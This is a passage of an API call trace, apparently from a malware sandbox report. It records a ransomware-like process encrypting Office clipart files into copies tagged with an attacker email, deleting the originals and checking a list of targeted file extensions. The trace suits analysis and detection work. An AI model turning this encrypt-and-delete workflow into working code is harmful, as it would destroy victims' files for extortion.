lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.994] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0077.995] SetEndOfFile (hFile=0x2e8) returned 1 [0077.995] CloseHandle (hObject=0x2e8) returned 1 [0077.995] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.995] SetEndOfFile (hFile=0x30c) returned 1 [0077.996] CloseHandle (hObject=0x30c) returned 1 [0077.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 1 [0077.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0077.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0077.998] lstrlenW (lpString=".doc") returned 4 [0077.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.998] lstrlenW (lpString=".docx") returned 5 [0077.998] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.998] lstrlenW (lpString=".pdf") returned 4 [0077.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.998] lstrlenW (lpString=".xls") returned 4 [0077.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.998] lstrlenW (lpString=".xlsx") returned 5 [0077.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.998] lstrlenW (lpString=".ppt") returned 4 [0077.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0077.998] lstrlenW (lpString=".zip") returned 4 [0077.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.998] lstrlenW (lpString=".rar") returned 4 [0077.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.998] lstrlenW (lpString=".bz2") returned 4 [0077.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.998] lstrlenW (lpString=".7z") returned 3 [0077.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0077.999] lstrlenW (lpString=".dbf") returned 4 [0077.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0077.999] lstrlenW (lpString=".1cd") returned 4 [0077.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0077.999] lstrlenW (lpString=".jpg") returned 4 [0077.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.999] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.000] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0078.000] GetLastError () returned 0x0 [0078.000] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x1b08, lpOverlapped=0x0) returned 1 [0078.002] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1b10, lpOverlapped=0x0) returned 1 [0078.003] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.004] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0078.004] SetEndOfFile (hFile=0x2e8) returned 1 [0078.004] CloseHandle (hObject=0x2e8) returned 1 [0078.004] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.004] SetEndOfFile (hFile=0x30c) returned 1 [0078.005] CloseHandle (hObject=0x30c) returned 1 [0078.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 1 [0078.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0078.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0078.006] lstrlenW (lpString=".doc") returned 4 [0078.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.006] lstrlenW (lpString=".docx") returned 5 [0078.006] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.006] lstrlenW (lpString=".pdf") returned 4 [0078.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.007] lstrlenW (lpString=".xls") returned 4 [0078.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.007] lstrlenW (lpString=".xlsx") returned 5 [0078.007] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.007] lstrlenW (lpString=".ppt") returned 4 [0078.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0078.007] lstrlenW (lpString=".zip") returned 4 [0078.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.007] lstrlenW (lpString=".rar") returned 4 [0078.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.007] lstrlenW (lpString=".bz2") returned 4 [0078.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.007] lstrlenW (lpString=".7z") returned 3 [0078.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0078.007] lstrlenW (lpString=".dbf") returned 4 [0078.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0078.007] lstrlenW (lpString=".1cd") returned 4 [0078.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0078.007] lstrlenW (lpString=".jpg") returned 4 [0078.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.008] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.008] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0078.009] GetLastError () returned 0x0 [0078.009] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x4e8, lpOverlapped=0x0) returned 1 [0078.011] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0078.012] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.012] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0078.012] SetEndOfFile (hFile=0x2e8) returned 1 [0078.012] CloseHandle (hObject=0x2e8) returned 1 [0078.012] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.012] SetEndOfFile (hFile=0x30c) returned 1 [0078.660] CloseHandle (hObject=0x30c) returned 1 [0078.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 1 [0078.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0078.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0078.661] lstrlenW (lpString=".doc") returned 4 [0078.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.661] lstrlenW (lpString=".docx") returned 5 [0078.661] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.661] lstrlenW (lpString=".pdf") returned 4 [0078.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.661] lstrlenW (lpString=".xls") returned 4 [0078.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.661] lstrlenW (lpString=".xlsx") returned 5 [0078.661] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.661] lstrlenW (lpString=".ppt") returned 4 [0078.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0078.661] lstrlenW (lpString=".zip") returned 4 [0078.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.661] lstrlenW (lpString=".rar") returned 4 [0078.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.662] lstrlenW (lpString=".bz2") returned 4 [0078.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.662] lstrlenW (lpString=".7z") returned 3 [0078.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0078.662] lstrlenW (lpString=".dbf") returned 4 [0078.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0078.662] lstrlenW (lpString=".1cd") returned 4 [0078.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0078.662] lstrlenW (lpString=".jpg") returned 4 [0078.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.663] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.663] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0078.664] GetLastError () returned 0x0 [0078.664] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x14c2, lpOverlapped=0x0) returned 1 [0078.665] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x14d0, lpOverlapped=0x0) returned 1 [0078.667] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.667] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0078.667] SetEndOfFile (hFile=0x314) returned 1 [0078.667] CloseHandle (hObject=0x314) returned 1 [0078.667] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.667] SetEndOfFile (hFile=0x30c) returned 1 [0078.669] CloseHandle (hObject=0x30c) returned 1 [0078.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 1 [0078.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0078.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0078.670] lstrlenW (lpString=".doc") returned 4 [0078.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.670] lstrlenW (lpString=".docx") returned 5 [0078.670] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0078.670] lstrlenW (lpString=".pdf") returned 4 [0078.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.670] lstrlenW (lpString=".xls") returned 4 [0078.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.670] lstrlenW (lpString=".xlsx") returned 5 [0078.670] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0078.670] lstrlenW (lpString=".ppt") returned 4 [0078.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0078.670] lstrlenW (lpString=".zip") returned 4 [0078.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.670] lstrlenW (lpString=".rar") returned 4 [0078.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.670] lstrlenW (lpString=".bz2") returned 4 [0078.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.671] lstrlenW (lpString=".7z") returned 3 [0078.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0078.671] lstrlenW (lpString=".dbf") returned 4 [0078.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0078.671] lstrlenW (lpString=".1cd") returned 4 [0078.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0078.671] lstrlenW (lpString=".jpg") returned 4 [0078.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.672] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.672] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0078.672] GetLastError () returned 0x0 [0078.673] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x1b16, lpOverlapped=0x0) returned 1 [0078.674] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1b20, lpOverlapped=0x0) returned 1 [0078.676] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.676] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0078.676] SetEndOfFile (hFile=0x314) returned 1 [0078.676] CloseHandle (hObject=0x314) returned 1 [0078.676] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.676] SetEndOfFile (hFile=0x30c) returned 1 [0078.677] CloseHandle (hObject=0x30c) returned 1 [0078.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 1 [0078.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0078.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0078.679] lstrlenW (lpString=".doc") returned 4 [0078.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.679] lstrlenW (lpString=".docx") returned 5 [0078.679] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0078.679] lstrlenW (lpString=".pdf") returned 4 [0078.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.679] lstrlenW (lpString=".xls") returned 4 [0078.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.679] lstrlenW (lpString=".xlsx") returned 5 [0078.679] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0078.679] lstrlenW (lpString=".ppt") returned 4 [0078.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0078.679] lstrlenW (lpString=".zip") returned 4 [0078.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.679] lstrlenW (lpString=".rar") returned 4 [0078.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.680] lstrlenW (lpString=".bz2") returned 4 [0078.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.680] lstrlenW (lpString=".7z") returned 3 [0078.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0078.680] lstrlenW (lpString=".dbf") returned 4 [0078.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0078.680] lstrlenW (lpString=".1cd") returned 4 [0078.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0078.680] lstrlenW (lpString=".jpg") returned 4 [0078.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.681] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.681] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0078.682] GetLastError () returned 0x0 [0078.682] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xa442, lpOverlapped=0x0) returned 1 [0078.684] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xa450, lpOverlapped=0x0) returned 1 [0078.687] ReadFile (in: hFile=0x30c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.687] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0078.687] SetEndOfFile (hFile=0x314) returned 1 [0078.687] CloseHandle (hObject=0x314) returned 1 [0078.687] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.687] SetEndOfFile (hFile=0x30c) returned 1 [0078.689] CloseHandle (hObject=0x30c) returned 1 [0078.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.689] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 1 [0078.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0078.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0078.690] lstrlenW (lpString=".doc") returned 4 [0078.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.690] lstrlenW (lpString=".docx") returned 5 [0078.690] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0078.690] lstrlenW (lpString=".pdf") returned 4 [0078.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.690] lstrlenW (lpString=".xls") returned 4 [0078.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.690] lstrlenW (lpString=".xlsx") returned 5 [0078.690] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0078.690] lstrlenW (lpString=".ppt") returned 4 [0078.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 